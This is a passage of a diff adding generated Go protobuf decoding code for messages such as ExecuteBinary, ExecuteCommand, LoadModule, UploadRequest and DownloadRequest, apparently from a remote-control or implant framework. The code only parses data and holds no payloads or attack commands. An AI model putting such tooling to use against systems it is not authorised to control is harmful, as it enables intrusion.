io.ErrUnexpectedEOF + } + return nil +} +func (m *Addons) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Addons: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Addons: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addons", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Addons = append(m.Addons, &Addon{}) + if err := m.Addons[len(m.Addons)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Addon) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Addon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Addon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Depend", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Depend = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LoadModule) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LoadModule: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LoadModule: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bundle", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bundle = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *LoadAddon) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: LoadAddon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: LoadAddon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Depend", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Depend = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteAddon) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteAddon: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteAddon: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addon", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Addon = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecuteBinary", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.ExecuteBinary == nil { + m.ExecuteBinary = &ExecuteBinary{} + } + if err := m.ExecuteBinary.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteBinary) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteBinary: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteBinary: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Param", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Param == nil { + m.Param = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Param[mapkey] = mapvalue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ProcessName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ProcessName = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = append(m.Args, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field EntryPoint", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.EntryPoint = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data[:0], dAtA[iNdEx:postIndex]...) + if m.Data == nil { + m.Data = []byte{} + } + iNdEx = postIndex + case 9: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Output = bool(v != 0) + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Arch", wireType) + } + m.Arch = 0 + m.Arch, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 11: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timeout", wireType) + } + m.Timeout = 0 + m.Timeout, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sacrifice", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sacrifice == nil { + m.Sacrifice = &SacrificeProcess{} + } + if err := m.Sacrifice.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 13: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 14: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Context", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Context = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 15: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Delay", wireType) + } + m.Delay = 0 + m.Delay, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ExecuteCommand) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ExecuteCommand: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ExecuteCommand: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Command", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Command = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sacrifice", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sacrifice == nil { + m.Sacrifice = &SacrificeProcess{} + } + if err := m.Sacrifice.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *UploadRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: UploadRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: UploadRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Target", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Target = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Priv", wireType) + } + m.Priv = 0 + m.Priv, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data[:0], dAtA[iNdEx:postIndex]...) + if m.Data == nil { + m.Data = []byte{} + } + iNdEx = postIndex + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Hidden", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Hidden = bool(v != 0) + case 6: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Override", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Override = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *DownloadRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: DownloadRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: DownloadRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Path = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: 